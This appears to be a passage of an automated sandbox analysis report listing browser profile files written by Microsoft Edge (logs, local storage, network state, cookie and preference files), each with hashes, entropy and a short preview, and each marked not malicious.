SHA-512:	92093C9F038BA0DB4BD2D14ABC26DDE12BFE42C22AB528D0291C1C23109E4B234EB9F13BFFD0E772EC7D7F69E5B404365F6ED97872C69139203D4E26CD163340
Malicious:	false
Preview:	2024/11/23-13:52:46.674 161c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/23-13:52:46.675 161c Recovering log #3.2024/11/23-13:52:46.675 161c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.278684069203271
Encrypted:	false
SSDEEP:	12:gL+vVaYeb8rcHEZrELFUt8wZ/+wlLV5OaYeb8rcHEZrEZSJ:gYVaYeb8nZrExg8wPlDOaYeb8nZrEZe
MD5:	4753716936D309FA7745FACDA885ED5D
SHA1:	C9F56A34C383FDCB34A8C74340C850A7EBEC4F18
SHA-256:	C1B2DF2CFDAF7D07CC8D8AE3EA6DBB86E3E4F6A37665584EBAA24A2D68E144C8
SHA-512:	92093C9F038BA0DB4BD2D14ABC26DDE12BFE42C22AB528D0291C1C23109E4B234EB9F13BFFD0E772EC7D7F69E5B404365F6ED97872C69139203D4E26CD163340
Malicious:	false
Preview:	2024/11/23-13:52:46.674 161c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/23-13:52:46.675 161c Recovering log #3.2024/11/23-13:52:46.675 161c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1471
Entropy (8bit):	5.676037677175229
Encrypted:	false
SSDEEP:	24:2ZWrhwTEDwVXZm8W2sFV0374h6MyJfWGUlHNlWBkTN5zgFHHmi28/V:2ZIwLVXZm2iV0374Pyx7OJ+HH328t
MD5:	50DB21F6A965FE2A28071634E3B78B04
SHA1:	D95141D969C3731CFCE78481CD5644BA6561F52D
SHA-256:	1E5AD1B79C4A492A4129DB0650C6881ECBE4839CB3A45E9F6378949B330E71FF
SHA-512:	9C7C8546653315A1A1D0BA91CF6852CEF1BAEC60B835F1F8C727DC11F7EBD81D7DD07222C1A87432DDEC3D847B8EB1067CBDD2C08FF886309B2D360377A98C56
Malicious:	false
Preview:	...................VERSION.1..META:https://ntp.msn.com..............!_https://ntp.msn.com..LastKnownPV..1732387980150.._https://ntp.msn.com..MUID!.18FD64FFA0C2612823B171BFA1EB6042.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732387980228,"schedule":[-1,-1,-1,10,-1,9,4],"scheduleFixed":[-1,-1,-1,10,-1,9,4],"simpleSchedule":[24,14,35,39,38,45,43]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732387980083.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Sat Nov 23 2024 13:52:59 GMT-0500 (Eastern Standard Time).!_https://ntp.msn.com..storageTest{...$................META:https://ntp.msn.com.............._https://ntp.msn.com..Fa

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.180100014683054
Encrypted:	false
SSDEEP:	6:HGrf4q2PN723oH+Tcwt8a2jMGIFUt8YGrf8Zmw+YGrf8dekwON723oH+Tcwt8a23:hvVaYeb8EFUt86/+mA5OaYeb8bJ
MD5:	A5BB33CBEABB65B573D971FBEC63A2B4
SHA1:	73A7C087F00E36C9810558743507D44B6FD21EB8
SHA-256:	A33912644B0EB5041CED9757DF343F9A562C5E750C44E0A325661E6BA3F14884
SHA-512:	B00D41205E14D364A84F32BF8772DBCF9D81E216D13AD47A582289127BD634FB993751245730755E786BA8A6FCE77CADC0280E43ADD9D03ACCAEF14D862FA50E
Malicious:	false
Preview:	2024/11/23-13:52:42.796 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/23-13:52:42.799 1830 Recovering log #3.2024/11/23-13:52:42.802 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.180100014683054
Encrypted:	false
SSDEEP:	6:HGrf4q2PN723oH+Tcwt8a2jMGIFUt8YGrf8Zmw+YGrf8dekwON723oH+Tcwt8a23:hvVaYeb8EFUt86/+mA5OaYeb8bJ
MD5:	A5BB33CBEABB65B573D971FBEC63A2B4
SHA1:	73A7C087F00E36C9810558743507D44B6FD21EB8
SHA-256:	A33912644B0EB5041CED9757DF343F9A562C5E750C44E0A325661E6BA3F14884
SHA-512:	B00D41205E14D364A84F32BF8772DBCF9D81E216D13AD47A582289127BD634FB993751245730755E786BA8A6FCE77CADC0280E43ADD9D03ACCAEF14D862FA50E
Malicious:	false
Preview:	2024/11/23-13:52:42.796 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/23-13:52:42.799 1830 Recovering log #3.2024/11/23-13:52:42.802 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0bb6ac93-089a-4a4d-8c23-39823bf131e2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0d4a549c-1489-4f08-9f5c-46f9fd26ed3b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1cf247b3-1ca6-451a-97f4-1986fa771ac4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4b23e3eb-7f01-495b-8013-853f0b64bb3c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1747
Entropy (8bit):	5.306633157567071
Encrypted:	false
SSDEEP:	48:YcCpfgCzsGLtsMfc7RssleeIkEsuCgH2Yhbj:F2fJLL2zkeIkKTrh/
MD5:	0FF75C6F3E0DC9E26CE7AFDA78ADB62B
SHA1:	4E1B00EAD317F22A501FEA37D415777133A38610
SHA-256:	0E94785FC167E90C9E881F9A9B9110D70901C318BA48CE8883CF78FA087DFECC
SHA-512:	4339ACAAC81688580B17303E56127C286BAE3F821139853F132CF2093EE695CA5655E8E7C9111A2549060B81AFC92A6339335F47271E902959AFE88EF80B00EE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379453566458685","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379453570228360","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_a

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7620831850673886
Encrypted:	false
SSDEEP:	192:tTcnNUT2VDG0q+mew7IQxr4SM2Xcf0L/ZJVb:VcyKDhq+mewFqSM2XI0LhJVb
MD5:	07432F29D5E14987C08A155A3EDD6A1F
SHA1:	6477E36AB39C44FC599BE858297F152101DA9700
SHA-256:	6371C4053BE33A98D665FA76B24CCB549A302C16906AAA42CFC55729C3658EBC
SHA-512:	4842065D7E8C2DA79830B15DEFC32582C83D12F69F923068C1395720D2A42183E5AD0AAE19450C5F6D405EBC1BF030203A4FD58077A7A392402FE412322D8130
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	5.306633157567071
Encrypted:	false
SSDEEP:	48:YcCpfgCzsGLtsMfc7RssleeIkEsuCgH2Yhbj:F2fJLL2zkeIkKTrh/
MD5:	0FF75C6F3E0DC9E26CE7AFDA78ADB62B
SHA1:	4E1B00EAD317F22A501FEA37D415777133A38610
SHA-256:	0E94785FC167E90C9E881F9A9B9110D70901C318BA48CE8883CF78FA087DFECC
SHA-512:	4339ACAAC81688580B17303E56127C286BAE3F821139853F132CF2093EE695CA5655E8E7C9111A2549060B81AFC92A6339335F47271E902959AFE88EF80B00EE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379453566458685","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379453570228360","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_a

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3773358851570345
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB5t:JkIEumQv8m1ccnvS642+lGFh5O9Taw1a
MD5:	44A45A5B252C5040E4E40AC3705E813D
SHA1:	D53B41655D58CEBC199C16FE7A6FF08DC8F7ADB6
SHA-256:	F22A02280A1C4A433E01A4240F33368823835B9888CE5DEB9F3C5B38A55CADDD
SHA-512:	8AE8D6FF45704E9E62A2EADEF22854844A786AC807E59CF29A59AA30FBA220CAF1382FF8E09DF3650E3B2B82B6DD56DF5AB41F394669D06188DEEB3407D3EB94
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3dec8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3f667.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ba252ab8-4d82-4b7c-a5cf-e2d850f051a7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.108213543556842
Encrypted:	false
SSDEEP:	192:stGkdpEsmIaFvrE9k/fwf18MbV+FhbQAFU/PSYJ:stGQEsmICDhkbGxQDj
MD5:	8408295565668079C872AFF7C4D6EC61
SHA1:	6235A23AE34E8073BD659A00B05ED9CA81EEF8A3
SHA-256:	A48EF5AC6DE9888D82FDEF6A170AC7F31346E2E7487E86A26A01738E3DD47CCE
SHA-512:	ACE61A584B9C175D65243BDB41D51D3263B5D700282615E97DE70D1CBC528AB0561C85DA01361F8FB135032610F53F531AFD8E576C0805852AD6947BD9F836EA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376861562467353","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF42910.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.108213543556842
Encrypted:	false
SSDEEP:	192:stGkdpEsmIaFvrE9k/fwf18MbV+FhbQAFU/PSYJ:stGQEsmICDhkbGxQDj
MD5:	8408295565668079C872AFF7C4D6EC61
SHA1:	6235A23AE34E8073BD659A00B05ED9CA81EEF8A3
SHA-256:	A48EF5AC6DE9888D82FDEF6A170AC7F31346E2E7487E86A26A01738E3DD47CCE
SHA-512:	ACE61A584B9C175D65243BDB41D51D3263B5D700282615E97DE70D1CBC528AB0561C85DA01361F8FB135032610F53F531AFD8E576C0805852AD6947BD9F836EA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376861562467353","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF457d1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.108213543556842
Encrypted:	false
SSDEEP:	192:stGkdpEsmIaFvrE9k/fwf18MbV+FhbQAFU/PSYJ:stGQEsmICDhkbGxQDj
MD5:	8408295565668079C872AFF7C4D6EC61
SHA1:	6235A23AE34E8073BD659A00B05ED9CA81EEF8A3
SHA-256:	A48EF5AC6DE9888D82FDEF6A170AC7F31346E2E7487E86A26A01738E3DD47CCE
SHA-512:	ACE61A584B9C175D65243BDB41D51D3263B5D700282615E97DE70D1CBC528AB0561C85DA01361F8FB135032610F53F531AFD8E576C0805852AD6947BD9F836EA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376861562467353","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF48b83.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.108213543556842
Encrypted:	false
SSDEEP:	192:stGkdpEsmIaFvrE9k/fwf18MbV+FhbQAFU/PSYJ:stGQEsmICDhkbGxQDj
MD5:	8408295565668079C872AFF7C4D6EC61
SHA1:	6235A23AE34E8073BD659A00B05ED9CA81EEF8A3
SHA-256:	A48EF5AC6DE9888D82FDEF6A170AC7F31346E2E7487E86A26A01738E3DD47CCE
SHA-512:	ACE61A584B9C175D65243BDB41D51D3263B5D700282615E97DE70D1CBC528AB0561C85DA01361F8FB135032610F53F531AFD8E576C0805852AD6947BD9F836EA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376861562467353","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4df60.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.108213543556842
Encrypted:	false
SSDEEP:	192:stGkdpEsmIaFvrE9k/fwf18MbV+FhbQAFU/PSYJ:stGQEsmICDhkbGxQDj
MD5:	8408295565668079C872AFF7C4D6EC61
SHA1:	6235A23AE34E8073BD659A00B05ED9CA81EEF8A3
SHA-256:	A48EF5AC6DE9888D82FDEF6A170AC7F31346E2E7487E86A26A01738E3DD47CCE
SHA-512:	ACE61A584B9C175D65243BDB41D51D3263B5D700282615E97DE70D1CBC528AB0561C85DA01361F8FB135032610F53F531AFD8E576C0805852AD6947BD9F836EA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376861562467353","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567242378609127
Encrypted:	false
SSDEEP:	768:Gy2AU7WzXW5w1df4ni8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPNVIw9v1rwX3pRtuW:Gbh7OXWa1dfaiu1ja8PV+vtN
MD5:	4C32A733722A27D18B6B3AB4FBF3B5CE
SHA1:	5AEA812EB4C2D1BABEA9D6F997FC6341236A2D9A
SHA-256:	D0EF572D6C09C2FE4186C44CF10C07492F131F2F8B82022DE7FF5C1250FF86EB
SHA-512:	433701D574C577FFCF9F0294CD7505BAAFC693A78E1FA216C68F28B863F0A4150CEE4146C36A3D40B0BAFE8924D6D74059F12D33ED67A0415A4471D976B77A89
Malicious:	false
